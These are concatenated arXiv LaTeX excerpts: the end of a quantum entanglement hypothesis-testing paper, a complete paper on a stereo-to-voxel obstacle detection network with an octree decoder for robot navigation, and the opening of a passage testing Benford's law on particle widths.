$n_{x,y}$ is the number of the counts on $\ket{x_A y_B}$
for $\tilde t_{x y}$.
Then, we can estimate the fidelity by $\hat{F}$.
\\
(iv) Finally, we apply
the test $\phi_{\mathop{\rm mod}\nolimits,\alpha}$ given in Section \ref{s4d}
to the two hypotheses given as
\begin{equation}
H_0:\vec{w} \cdot \vec{\mu}\ge c_0
\mbox{ versus }
H_1:\vec{w} \cdot \vec{\mu} < c_0,
\end{equation}
where
$w_{x,y}:= \frac{1}{2\lambda \tilde{t}_{x,y}}$
and $c_0:= 1- F_0$.
\section{Conclusion}\label{s11}
We have formulated the hypothesis testing scheme to test the entanglement
in the Poisson distribution framework.
Our statistical method can handle the fluctuation in the experimental data
more properly in a realistic setting.
It has been shown that the optimal time allocation improves the test:
the measurement time should be allocated preferably to the
anti-coincidence vectors.
This test is valid even if the dark count exists.
This design is particularly useful for the experimental test, because the
optimal time allocation depends only on the threshold of the test.
We don't need any further information of the probability distribution and
the tested state.
The test can be further improved by optimizing time allocation
between the anti-coincidence vectors,
when the error from the maximally
entangled state is anisotropic. However, this time allocation requires
the expectation values on the counts on coincidence,
so that we need to apply the two stage method.
\section*{Acknowledgments}
The authors would like to thank Professor Hiroshi Imai of the
ERATO-SORST, QCI project for support.
They are grateful to Dr. Tohya Hiroshima, Dr. Yoshiyuki Tsuda
for useful discussions.
|
1,477,468,749,989 | arxiv | \section{INTRODUCTION}
\label{sec:intro}
To safely navigate around dynamic and unknown environments, robots need to perceive and avoid obstacles in real-time, usually with a limited financial or computation budget.
Among all the 3D perception sensors, the stereo camera has been widely used due to its lightweight design and low cost. However, performing depth estimation with the stereo camera is nontrivial where we need to strike a balance between efficacy and efficiency. Therefore, most stereo-based navigation approaches sacrifice the estimation accuracy by using the traditional methods or reducing image resolution to provide real-time feedback \cite{7152384, 6696922, 7354095, 9340699}.
\begin{figure}[ht!]
\centering
\begin{subfigure}{.49\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/demo/front-0.png}
\caption{Level 1}
\end{subfigure}
\begin{subfigure}{.49\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/demo/front-1.png}
\caption{Level 2}
\end{subfigure}
\begin{subfigure}{.49\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/demo/front-2.png}
\caption{Level 3}
\end{subfigure}
\begin{subfigure}{.49\linewidth}
\centering
\includegraphics[width=\linewidth]{figures/demo/front-3.png}
\caption{Level 4}
\end{subfigure}
\hfill
\caption{Hierarchical output.~\NetworkName{} generates voxels from a stereo pair\cite{yang2019drivingstereo} to represent the detected location of the obstacles in the range of 32 meters in a coarse-to-fine grained manner (from top left to bottom right). The resolutions of the voxel grids are $8^3, 16^3, 32^3,$ and $64^3$, respectively.}
\label{fig:voxel-sample}
\end{figure}
Deep learning stereo models have shown promising results in depth estimation\cite{MIFDB16}, however, there are mainly two limitations for them to be used in practical and agile navigation. Firstly, even the lightweight deep learning stereo model \cite{shamsafar2022mobilestereonet} produces inadmissible latency. This is because the dense depth information
produced is redundant for obstacle avoidance tasks during motion planning.
In most stereo matching procedures, the depth of each pixel is estimated,
and most of the individual points are superfluous in close proximity, thus discretized voxels are used to represent the occupancy information in typical robotic applications \cite{7152384, 6696922, 7354095, 9340699, akmandor2021reactive, akmandor2022deep} that require fast computation.
Secondly, the current state-of-the-art stereo models lack robustness. Even though they can achieve high accuracy in disparity estimation (2D), they are prone to generate more artifacts being transformed in 3D. The artifact is typically around the object boundaries and at a far distance \cite{9562056, Weng_2019_ICCV_Workshops}. After the transformation, the artifacts are embodied in the long-tail form \cite{Weng_2019_ICCV_Workshops}, due to their pipeline's objective bias. Consequently, an extra outlier filtering is needed to recast the adequate point cloud for robot navigation \cite{9340699}. Such a procedure often requires careful tuning of parameterization and lacks robustness.
To address the aforementioned issues, we propose an approach that detects the obstacles efficiently and accurately, leveraging the deep learning stereo model. Unlike existing models that estimate stereo disparity (and then point cloud) from stereo images, our novel end-to-end network directly outputs the occupancy by resorting to a voxel grid, reducing the redundancy of the point cloud. We further improve both the accuracy and the computation cost of the interlacing cost volume \cite{shamsafar2022mobilestereonet} by ignoring the obstacles that are far away and avoiding unnecessarily high granularity. Such a design also reduces the noises introduced by the coordinate transformation from the stereo disparity to the 3D point cloud. Our solution can detect obstacles accurately in the range of 32 meters (See Section \ref{sec:experiment}) which clearly outperforms the off-the-shelf sensors like Intel RealSense and Microsoft Kinect.
Furthermore, taking advantage of the octree structure and sparse convolution operations, we predict the occupancy of obstacles in a coarse-to-fine grained manner (Fig. \ref{fig:voxel-sample}), preventing waste of computation resources by no further processing the confident unoccupied spaces which are irrelevant to the navigation task at an early stage.
Hence, we achieve real-time inference for obstacle detection using an onboard computer. Our approach contributes to closing the gap between computer vision and robot perception.
Over the past decade, numerous autonomous driving stereo datasets have been constructed, such as KITTI \cite{KITTI2012}, DrivingStereo \cite{yang2019drivingstereo}, nuScenes \cite{nuscenes2019}, and Waymo \cite{Sun_2020_CVPR}, however, stereo models trained on these datasets typically perform inadequately in the indoor environment. To address the diversity in depth, prior works \cite{shamsafar2022mobilestereonet, lac-Gwc} utilize the synthetic SceneFlow \cite{MIFDB16} stereo dataset, but encounter performance degradation in the real-world application. Consequently, we construct a stereo dataset containing both indoor and outdoor environments via robot teleoperation and incorporate numerous sensors including IMU, stereo camera, 32-beam LiDAR, etc. More details regarding the dataset are presented in Section \ref{sec:dataset}.
We summarize our contributions as follows:
\begin{itemize}
\item We present a novel deep neural network that takes stereo image pairs as input and produces occupancy voxels through an efficient cost volume formulation strategy in real-time using an onboard computer.
\item We exploit the sparsity by performing optimization through octree structure and sparse convolution and saving computation resources on confident unoccupied space. We further integrate our perception model with the motion planner module, thus achieving adaptive perception on demand \cite{dean1988analysis, liu2021anytime, Chitta_2020_WACV} while navigating.
\item We construct a real-world stereo dataset that contains both indoor and outdoor scenes, collected by robot teleoperation. Our contributed dataset complements the existing dataset like JRDB \cite{martin-martin_jrdb_2021} to enhance the dataset scale.
\end{itemize}
\section{Related Work}
\label{sec:related}
\textbf{Obstacle detection} using the stereo camera is typically approached by depth estimation, utilizing the classical stereo matching algorithms, such as Semi-global Matching (SGM) \cite{sgm}. The majority of works construct a pipeline that first estimates the depth map and then extracts the obstacles \cite{6696922, 7152384, 7354095, 9340699, doi:10.1126/scirobotics.abg5810}. However, such a pipeline lacks efficiency since the depth of every pixel is estimated by the stereo matching module. On the contrary, obstacles typically account for only a small portion of pixels.
Pushbroom Stereo \cite{barry2014pushbroom} tackled the inefficiency by performing block matching sparsely, which is capable of running at 120Hz onboard, but it suffers from high false negatives due to the lack of global attention.
Deep learning end-to-end models are also attempted by several works. \cite{7358076} developed an end-to-end classification model to perform trail perception and navigation. Similarly \cite{bojarski2016end} and DroNet\cite{dronet} proposed to use an end-to-end CNN model for the output steering angle. Since this kind of network model learns obstacle avoidance intrinsically, their performance is sensitive to the training scene and they tend to have poor domain adaptation.
Our work in this paper focuses on the sub-modules of visual navigation as in \cite{9340699, doi:10.1126/scirobotics.abg5810} and could improve the overall system by replacing their depth estimation-related modules with our proposed approach. \\
\textbf{Stereo matching} is used to perform depth estimation by measuring the disparity between stereo images. The classical method like SGM has been widely used in robot perception\cite{6696922, 7152384, 9340699, doi:10.1126/scirobotics.abg5810}. As in various computer vision tasks, the performance of the traditional approach has been surpassed by the recent deep learning models and often by a large margin, which also applies to stereo matching tasks \cite{10.5555/2946645.2946710, 8237440}.
Recent stereo matching work has been focused on developing an end-to-end network to predict the disparity map from a stereo pair \cite{MIFDB16, shamsafar2022mobilestereonet, xu2022ACVNet}. In such an end-to-end network, the matching procedure is often performed by cost volume construction and cost volume aggregation. A cost volume $C$ is used to correlate two unary feature maps generated by the input stereo pair passing through the feature extractor. \cite{7780983, shamsafar2022mobilestereonet} utilize 3D cost volume
formulated as
\begin{align}\label{eqn:3d_cost_vol_baseline}
C(d,x,y) = F(f_L(x,y),f_R(x-d,y)),
\end{align}
where $F$ is a function that measures the correlation between the left and right feature maps. $d$ is within the range of $(0,d_{max})$, where $d_{max}$ is a designated maximum disparity level and typically set to 192 in recent works.
DispNet \cite{MIFDB16} has reached a significantly higher performance compared with SGM on multiple datasets since 2015. Nevertheless, the deployment of recent deep learning stereo models in mobile robotics is still unpopular. In fact, it is a huge challenge to run deep learning stereo models in real-time using an onboard computer. \\
\textbf{Octree representation} has been widely used in the field of robotics \cite{hornung13auro, labbe_rtab-map_2019}. Our octree decoder design is related to two seminal works: Octree Generating Network \cite{Tatarchenko_2017_ICCV} and Quadtree Generating Network \cite{Chitta_2020_WACV}. While the first one performs 3D reconstruction, the latter work is on 2D image segmentation. Different from these works, we contribute to the adaptation to stereo upstream and its integration with the robot navigation module to achieve adaptive perception on demand, where the perception granularity can automatically be determined by the robot's demand for obstacle avoidance.
\section{\NetworkName{}}
\label{sec:method}
\begin{figure}[!ht]
\centering
\includegraphics[width=\linewidth]{figures/network.png}
\caption{Our proposed network, \NetworkName{}, takes a stereo pair as input and produces a voxel occupancy grid.}
\label{fig:voxelnet}
\end{figure}
\begin{figure*}[!ht]
\centering
\vspace*{0.15cm}
\includegraphics[width=0.85\linewidth]{figures/decoder.png}
\caption{Our octree decoder takes the latent vector as input and produces coarse-to-fine grained output. The output of each level is used as a mask to prune the feature matrix for the next level. We set the threshold as 0.5 to binarize the mask. Thus, the confident unoccupied spaces become zeros and are pruned using sparse convolutions.}
\label{fig:decoder}
\end{figure*}
Inspired by stereo matching models \cite{shamsafar2022mobilestereonet, xu2022ACVNet, cheng2020hierarchical, 10.5555/2946645.2946710}, we design our end-to-end network, \NetworkName{}, by integrating three main components as in Fig. \ref{fig:voxelnet}: \emph{i}) feature extraction module for unary feature extraction, \emph{ii}) \CostVolumeName{}: a lightweight cost volume to combine unary features, and \emph{iii}) an encoder-decoder structure for voxels generation. The first two parts extract and aggregate features, while the last part predicts voxels from the low-level feature volume base on an octree structure.
Similar to the navigation framework \cite{akmandor2021reactive}, we define a 3D grid composed of $N$ voxels with respect to the robot's coordinate frame. We denote each voxel as a cubic volume with a side length $l_{v}$. The 3D grid $N=n_x \times n_y \times n_z$, where $n_x$, $n_y$, and $n_z$ represent the number of voxels on x-axis, y-axis, and z-axis, respectively. Therefore, the physical distance $s_{\{x,y,z\}}$ in each dimension can be calculated as $n_{\{x,y,z\}} \times l_v$. We refer to this volumetric voxel grid structure as our ROI.
\textbf{Feature Extraction: }
We utilize a simplified feature extraction module by reducing the number of channels in MobileStereoNet\cite{shamsafar2022mobilestereonet}. A feature map of size $C \times \frac{H}{4} \times \frac{W}{4}$ is produced from the feature extraction module. $C$ is the number of feature channels, and $H, W$ is the image's height and width, respectively.
\textbf{\titlecap{\CostVolumeName{}}: }
We leverage \CostVolumeName{} to aggregate unary features efficiently. A detailed explanation of \CostVolumeName{} is given in Section \ref{sec: VCV}.
\textbf{Encoder-Decoder: }
We use an encoder-decoder component to produce voxels\cite{10.1007/978-3-030-11009-3_37, choy20163d, 10.5555/3157096.3157287, 10.5555/3294771.3294823}, whereas the encoder is a collection of 2D convolutional layers that extracts a latent vector from the feature volume, and the decoder is composed of a set of 3D deconvolutional layers with an octree generating structure. To predict obstacle occupancy with higher efficiency, we optimize the decoder component by exploiting the sparsity of the occupancy grid and applying sparse convolution. A detailed explanation of our octree optimization is in Section \ref{sec: octree_decoder}.
\subsection{\titlecap{\CostVolumeName{}}}
\label{sec: VCV}
In most recent stereo models, the cost volume is one of the most computation-demanding modules. Furthermore, its output dimension linearly affects the computation cost of the consecutive modules. To improve the efficiency of the entire network, we propose voxel cost based on the interlacing cost volume\cite{shamsafar2022mobilestereonet} with a consideration of the physical structure of the final output - voxel occupancy grid. We eliminate redundant and irrelevant disparity information. Instead of continuously traversing $\{d_i \mid i=1,2,\dots,d_{max}\}$ in equation (\ref{eqn:3d_cost_vol_baseline}) \cite{shamsafar2022mobilestereonet}, we replace it with $D_{vox}$, a subset of disparity levels.
\begin{align}\label{eqn:3d_cost_vol}
C(d,x,y) = Interlace\{f_L(x,y),f_R(x-d_{vox},y)\},
\end{align}
where $d_{vox} \in D_{vox}$. $Interlace$ is an operator proposed by \cite{shamsafar2022mobilestereonet}, where the left feature map and right feature map of size $C \times H \times W$ are aggregated one-by-one into $2C \times H \times W$. Since $d$ and $z$ have an inverse relationship, if we traverse continuously on the disparity dimension with a constant gap, we get a skewed distribution of the respective depth $z$. Particularly, we retrieve sparser features at a farther distance and denser features as getting closer. We use the voxel size $l_{v}$ as a gap, traversing $z$ in the range of $(0, z_{max})$ where $z_{max} = n_z \times v_{size}$. Consequently, we get $|D_{vox}| = n_z$.
Our algorithm is presented in Algorithm \ref{alg:vcv}. The \CostVolumeName{} comes with two functionalities: \emph{i}) It prunes the information which is not in our ROI. \emph{ii}) It enables a sparser sampling of disparity without harming the overall accuracy.
\renewcommand{\algorithmicrequire}{\textbf{Input:}}
\renewcommand{\algorithmicensure}{\textbf{Output:}}
\begin{algorithm}
\caption{\titlecap{\CostVolumeName{}}}\label{alg:vcv}
\begin{algorithmic}
\Require $f_u$, $b$, $z_{max}$, $\alpha$, $l_{v}$
\Ensure $C$
\State $c \gets f_u \times b$ \Comment{constant for each stereo camera}
\State $D_{vox}=\emptyset$
\For{$z=0$ to $z_{max}$ with step size of $\alpha \times l_v$ }
\State $D_{vox} = D_{vox} \cup \{\frac{c}{z}\}$
\EndFor
\For{$d_{vox}$ in $D_{vox}$}
\State $C(d,x,y) \gets Interlace\{f_L(x,y),f_R(x-d_{vox},y)\}$
\EndFor
\end{algorithmic}
\end{algorithm}
In the algorithm, $f_u$ represents the focal length, $b$ represents the baseline of the stereo camera. $\alpha$ is a constant controlling the traversing step size, and $l_v$ is the size of a voxel as mentioned.
\subsection{Octree Decoder}
\label{sec: octree_decoder}
An octree is a tree-like data structure where each node has eight children \cite{meagher1982geometric}. Like binary tree (1D) and quadtree (2D), octree (3D) is a compact representation of the space that advances in both computation efficiency and storage.
Benefiting from its tree-like data structure, an octree is naturally hierarchical. We can represent each level of the octree as $l=\{ 1,2,\dots,L_{level}\}$. For the level $l$, we could obtain the dimension of output $N_l =\delta \times (2^l \times 2^l \times 2^l)$, where $\delta$ is the initial resolution. Having a fixed physical size $s^3$ of the 3D grid, the output of our model follows a coarse-to-fine grained pattern.
Unlike \cite{Tatarchenko_2017_ICCV} where they define each voxel of output voxel grid $y$ at the location $p \in \mathbb{R}^3$ and octree level $l$ as being one of three states: \emph{empty}, \emph{filled}, or \emph{mixed}, we simplify it into two states \emph{occupied} (1) and \emph{unoccupied} (0), as shown in Fig. \ref{fig:decoder}.
\begin{equation}\label{eqn:octree_state}
y_{l,p}=
\begin{cases}
&0 \text{ if all the children are unoccupied},\\
&1 \text{ if any of the children is occupied}.
\end{cases}
\nonumber
\end{equation}
To use a network to predict the occupancy label for each voxel, we feed the latent vector through a set of deconvolution and convolution layers to obtain the first coarse output $y_{1,p}$. We employ occupancy label $y_{1,p}$ as a mask to sparsify the reconstructed feature using element-wise multiplication. The process is repeated until the desired resolution is reached.
To calculate the loss of the octree, we calculate the weighted sum of the negative IoU loss of each tree level.
\begin{equation}\label{eqn:level_loss}
\mathcal{L}_l= \sum_{p} 1-IoU(y_{l,p}, \hat{y}_{l,p}),
\nonumber
\end{equation}
where $y_{l,p}$ and $\hat{y}_{l,p}$ correspond to the prediction and ground-truth label at level $l$. The overall loss is given by:
\begin{equation}\label{eqn:total_loss}
\mathcal{L} = \sum_l{w_l \mathcal{L}_l},
\nonumber
\end{equation}
where $w_l$ is a designated weight for each level. We set weights $w_1$ to $w_4$ as $[0.30, 0.27, 0.23, 0.20]$ empirically.
During inference, we can detect obstacles at the finest level $y_{L_{level}, p}$ in real-time utilizing the aforementioned methodologies. However, we further improve the efficiency using a small technique. Leveraging the hierarchical design of the octree decoder, we integrate our \NetworkName{} with the mobile robot navigation framework and achieve adaptive perception on demand. We use a simple heuristics function to model the octree level variation from the previous observation and permit early exit.
\begin{equation}
l^t=
\begin{cases}
&i-1~~~\text{if~} \sum_{p'} y_{i,p'}^{t-1}=0, \\
&i+1~~~\text{otherwise.}
\end{cases}
\end{equation}
where $l^0=L_{level}$, and we use the superscript $t$ to denote the time step. The heuristic function means if there is no obstacle detected in area $p'$ in front of the robot from the previous timestep $t-1$, the exit octree level $l$ of current timestep $t$ will decrease by one. In case of an obstacle is detected, the octree level will increase by one.
\section{Dataset Construction}
\label{sec:dataset}
\begin{figure}[ht!]
\centering
\includegraphics[height=4cm]{figures/jackal.jpg}
\caption{Our Jackal robot is teleoperated in indoor and outdoor environments carrying a suite of sensors to collect data.}
\label{fig:jackal-robot}
\end{figure}
\begin{figure}[ht]
\centering
\begin{subfigure}{.5\linewidth}
\centering
\includegraphics[width=\linewidth, height=3cm]{figures/dataset-left-1.png}
\end{subfigure}
\hspace{-0.5cm}
\begin{subfigure}{.5\linewidth}
\centering
\includegraphics[width=\linewidth, height=3cm]{figures/dataset-lidar-1.png}
\end{subfigure}
\caption{A sample from our dataset. The left image is rectified image captured by the ZED2 camera. The right image is 3D LiDAR point cloud visualized in RViz.}
\label{fig:dataset}
\end{figure}
To collect our dataset, we use a Jackal robot (Fig. \ref{fig:jackal-robot}) from Clearpath Robotics equipped with a front-facing ZED2 stereo camera and a RoboSense-RS-Helio-5515 32-Beam 3D LiDAR which operates at 10Hz.
All data is collected, synchronized, and stored in \emph{rosbag} format in ROS \cite{Quigley09}.
Our human operator controls the robot using a joystick controller. We capture data from different indoor and outdoor scenes within the Northeastern University campus, including different floors in the library and the research facility, the walking bridge, etc. The dataset visualization example is in Fig. \ref{fig:dataset}. Different from social navigation datasets JRDB \cite{martin-martin_jrdb_2021} and SCAND \cite{karnan_socially_2022} where they mainly operate the robot in a crowded environment and imitate human behavior to avoid obstacles, we intend to operate the robot near the static obstacles while navigating to include more samples of obstacles at close distances.
\begin{figure*}[ht]
\centering
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/2-bg.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/2-gt.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/2-sgbm.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/2-lac.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/2-voxel.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/30-bg.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/30-gt.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/30-sgbm.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/30-lac.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/30-voxel.png}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/11-bg.png}
\caption*{Background}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/11-gt.png}
\caption*{Ground Truth}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/11-sgbm.png}
\caption*{SGBM \cite{sgm}}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/11-lac.png}
\caption*{Lac-GwcNet \cite{lac-Gwc}}
\end{subfigure}
\begin{subfigure}{.19\linewidth}
\centering
\includegraphics[width=\linewidth, height=2.2cm]{figures/compare/11-voxel.png}
\caption*{\textbf{Ours}}
\end{subfigure}
\caption{Results for DrivingStereo dataset. Output with $64^3$ resolution is shown above.
}
\label{fig:qualitative-result}
\end{figure*}
\section{Experiments}
\label{sec:experiment}
In this section, we evaluate the performance and efficiency of the proposed obstacle detection solution. We structure our evaluation into two parts: public dataset evaluation and real-world experiment. We also include ablation studies where we examine the effectiveness of our proposed \CostVolumeName{} and octree decoder structure.
We use DrivingStereo \cite{yang2019drivingstereo} to train and evaluate our model. Similar to the widely used KITTI datasets\cite{KITTI2012, KITTI2015}, DrivingStereo is a driving dataset but with more samples.
We set $l_v=0.5$, $n_x=n_y=n_z=64$. In other words, our ROI is a $64^3$ cubic volume in front of us with 32 meters distance, 16 meters left, 16 meters right, and 32 meters towards the top. In practice, we set the size of the latent vector $n_{latent}=128$.
Our model is trained for 30 epochs using an Adam optimizer with a learning rate of 0.001, $\beta_1=0.9, \beta_2=0.999$. We form a batch size of 16 stereo pairs. To implement the sparse convolution in our octree decoder, we use the \emph{SpConv}\footnote{https://github.com/traveller59/spconv} library, the submanifold sparse convolution layer \cite{graham2017submanifold, graham20183d}, and PyTorch\cite{NEURIPS2019_9015}.
\subsection{Quantitative Results}
Similar to 3D reconstruction tasks\cite{10.1007/978-3-030-11009-3_37} \cite{8890921}, our final output is a voxel occupancy grid. Therefore, we choose IoU and CD as our evaluation metrics. Besides the accuracy metrics, we also consider computation cost matrices: multiply-accumulate (MACs) and model parameters. Models with more significant MACs typically demand more computation power and process slower.
\subsubsection{\titlecap{\CostVolumeName{}}}
We perform an ablation study to evaluate the effectiveness of our proposed \CostVolumeName{} and its impact on the entire network. We compare it with the other three types of cost volume (Table \ref{tab:cost_volume}). The original interlacing cost volume\cite{shamsafar2022mobilestereonet} has 48 disparity levels (ICV), and the simplified version of it where we only extract the even number of disparities, results in 24 levels of disparity (Even). We also obtained a further simplified version with only 12 levels of disparity using the same strategy, which has the same disparity levels as our \CostVolumeName{}.
\begin{table}[h]
\vspace*{0.15cm}
\centering
\resizebox{\columnwidth}{!}{%
\begin{tabular}{l r r r r}
\hline
Cost Volume Type & CD $\downarrow$ & IoU $\uparrow$ & MACs \tablefootnote{MACs based on $3\times400\times880$ RGB stereo pair} $\downarrow$ & Parameters $\downarrow$\\
\hline
48 Levels (ICV) & 3.56 & 0.32 & 29.01G & 5.49M \\
24 Levels (Even) & \underline{2.96} & \underline{0.34} & 21.00G & 5.43M \\
12 Levels (Even) & 3.05 & 0.33 & \textbf{16.99G} & \textbf{5.40M} \\
\hline
12 Levels (\textbf{Ours}) & \textbf{2.40} & \textbf{0.35} & \underline{17.31G} & \textbf{5.40M} \\
\hline
\end{tabular}
}
\caption{Numerical results on the DrivingStereo testing set. The best result is bold, and the second-best result is underlined.}
\label{tab:cost_volume}
\end{table}
Our \CostVolumeName{} achieves leading performance and close to the least computation cost. Compared with the interlacing cost volume that has the 24 disparity levels, our approach achieves 19\% lower CD and 18\% lower computation cost. Therefore, we show the effectiveness of cost volume optimization based on ROI.
\subsubsection{Octree Pruning}
In this section, we demonstrate the efficacy of our octree structure pruning strategy by comparing it with the same network using dense grid implementation (Dense). Following the training schemes in \cite{Chitta_2020_WACV}, we choose the active sites at each octree level using both ground truth (GT) and predicted label (Pred). In addition, we evaluate the baseline network performance that only produces a single output at the end of the network (Straight). Our results are summarized in Table \ref{tab:octree-result}.
\begin{table}[!ht]
\centering
\resizebox{\columnwidth}{!}{%
\begin{tabular}{lrrrrrr}
\hline
Method & Level & CD $\downarrow$ & IoU $\uparrow$ & MACs $\downarrow$ & Parameters $\downarrow$\\
\hline
Straight & 4 & 4.89 & \textbf{0.38} & 17.31G & 5.40M \\
\hline
\multirow{4}{*}{Dense} & 1 & \textbf{5.68} & \textbf{0.78} & 15.05G & \multirow{4}{*}{5.40M} \\
& 2 & \textbf{3.62} & \textbf{0.64} & 15.72G & \\
& 3 & \textbf{2.68} & \textbf{0.50} & 16.86G & \\
& 4 & \textbf{2.40} & \underline{0.35} & 17.31G & \\
\hline
\multirow{4}{*}{Sparse-GT} & 1 & 6.75 & 0.75 & \multirow{4}{*}{\textbf{14.94G}} & \multirow{4}{*}{5.40M} \\
& 2 & 4.16 & 0.58 & & \\
& 3 & 3.05 & 0.42 & & \\
& 4 & 2.56 & 0.27 & & \\
\hline
\multirow{4}{*}{Sparse-Pred} & 1 & \underline{5.84} & \textbf{0.78} & \multirow{4}{*}{\textbf{14.94G}} & \multirow{4}{*}{5.40M} \\
& 2 & \underline{3.69} & \textbf{0.64} & & \\
& 3 & \underline{2.75} & \textbf{0.50} & & \\
& 4 & \underline{2.54} & \underline{0.35} & & \\
\hline
\end{tabular}
}
\caption{Our octree-pruned model (Sparse-Pred) achieves nearly the same performance as the dense grid network while reducing the computation cost.}
\label{tab:octree-result}
\end{table}
From the experiment result, we could conclude that the octree decoder achieves near the same performance as the dense grid decoder, while further reducing the computation cost by 13.2\%.
\subsubsection{\NetworkName{}}
We compare the performance of the \NetworkName{} using \CostVolumeName{} with several state-of-the-art stereo deep learning models and the traditional SGBM algorithm in Table \ref{tab:all-ds}.
We apply the standard pipeline for obstacle detection using a stereo camera \cite{9340699}, where the disparity estimation is transformed into the depth map, the point cloud, and ultimately the voxel grid.
\begin{table}[!ht]
\centering
\resizebox{\columnwidth}{!}{%
\begin{tabular}{lrrrrr}
\hline
Method & CD $\downarrow$ & IoU $\uparrow$ & MACs $\downarrow$ & Parameters $\downarrow$ & Runtime $\downarrow$\\
\hline
MSNet (2D) \cite{shamsafar2022mobilestereonet} & 17.03 & 0.15 & 91.04G & 2.35M & 2.61s \\
MSNet (3D) \cite{shamsafar2022mobilestereonet} & 12.2 & 0.21 & 409.09G & \underline{1.77M} & \\
ACVNet \cite{xu2022ACVNet} & 11.36 & 0.22 & 644.57G & 6.17M & 4.38s \\
Lac-GwcNet \cite{lac-Gwc} & \underline{6.22} & \underline{0.33} & 775.56G & 9.37M & 5.83s \\
CFNet \cite{Shen_2021_CVPR} \tablefootnote{Due to CFNet input requirement, MACs based on $3\times384\times864$} & 7.86 & 0.22 & 428.40G & 22.24M & \\
SGBM \cite{sgm} \tablefootnote{Implemented by OpenCV(StereoSGBM)} & 16.59 & 0.25 & \textbf{N/A} & \textbf{N/A} & \textbf{0.08s} \\
\hline
\textbf{Ours} & \textbf{2.40} & \textbf{0.35} & \underline{17.31G} & 5.40M & \underline{0.55s} \\
\hline
\end{tabular}
}
\caption{Numerical results on the DrivingStereo dataset. We use Intel i7-12700K runtime to compare all approaches.}
\label{tab:all-ds}
\end{table}
Our method outperforms the compared approaches by a large margin in terms of accuracy and speed. We show the possibility of applying a deep learning stereo model in the obstacle avoidance task. However, comparing with SGBM in terms of \emph{CPU runtime} is still a huge challenge. Our model runs at \textbf{35Hz} on RTX 3090 GPU without any optimization.
\subsection{Qualitative Results}
We present the qualitative result in Fig. \ref{fig:qualitative-result} in which we compare the result with SGBM and the state-of-the-art model Lac-GwcNet\cite{lac-Gwc}. The red voxels represent the detected obstacles. Our method produces the least noise and the closest result to the ground truth. We achieve similar or better results than Lac-GwcNet with only 2\% computation cost.
\subsection{Real-World Experiment}
\begin{figure}[ht!]
\centering
\begin{subfigure}{.45\linewidth}
\centering
\includegraphics[width=\linewidth, height=3.0cm]{figures/real-left.png}
\end{subfigure}
\hspace{-0.1cm}
\begin{subfigure}{.45\linewidth}
\centering
\includegraphics[width=\linewidth, height=3.0cm]{figures/real-rviz.png}
\end{subfigure}
\caption{We experiment in an unstructured environment with no prior knowledge. The robot is given a goal across the environment and avoids obstacles during navigation.}
\label{fig:real_world_exp}
\end{figure}
We perform real-world autonomous navigation with only a local planner from the \emph{move\_base} of ROS Noetic on Ubuntu 20.04. The LiDAR is only used for visualization purposes during the experiment. Our proposed method is the only input to the navigation stack that operates on Jackal's onboard computer (NVIDIA Jetson TX2). The goals are given across the environment (Fig. \ref{fig:real_world_exp}). Although the robot reaches its destination with a high success rate, we observe that noise is often generated by the ground reflection, leading to several failed attempts. Due to the absence of a global planner, the robot is sometimes stuck at local minima. We refer readers to our supplementary video for a vivid demonstration.
\section{Conclusion}
\label{sec:conclusion}
This paper presented a novel obstacle detection network based on the stereo vision that can run in real-time on an onboard computer. We proposed voxel cost volume to keep the computation within our ROI and match the disparity estimation resolution with the occupancy grid. We leveraged the octree-generating decoder to prune the insignificant computation on irrelevant spaces. Furthermore, we integrated the hierarchical output with the navigation framework to provide adaptive resolution while navigating. To support the data-based robotic applications, we collected and released a high-quality real-world indoor/outdoor stereo dataset via robot teleoperation. Our work shows the possibility of utilizing a deep stereo model in the obstacle detection task.
\section*{ACKNOWLEDGMENT}
This work was completed in part using the Discovery cluster, supported by Northeastern University’s Research Computing team. The authors would like to thank Ying Wang, Nathaniel Hanson, Mingxi Jia, and Chenghao Wang for their help and discussions.
\bibliographystyle{IEEEtran}
|
1,477,468,749,990 | arxiv | \section{Results}
More specifically, we scrutinize the meson summary table and baryon
summary table in {Review of Particle Physics} (2008) by Particle
Data Group\cite{PDG}, and compare the first digit distribution of
the full widths of mesons and baryons with Benford distribution
respectively. The systematical statistical results are shown in
Table~\ref{meson} for mesons and Table~\ref{baryon} for baryons,
respectively. The numbers in the bracket are the expected number,
\begin{equation}\label{nben}
N_{\rm Ben} = N \, \log_{10}(1+1/k)
\end{equation}
together with the root mean square error evaluated by the binomial
distribution,
\begin{equation}\label{deltan}
\Delta N = \sqrt{N \, P(k) \,(1-P(k))}.
\end{equation}
The detail of the classification from Case 1 to Case 3 will be
discussed later. We can see that the results are very weakly case
sensitive, and all are in good agreement with Benford's law. The
intuitive figures are illustrated in Fig.~\ref{layout}, with the
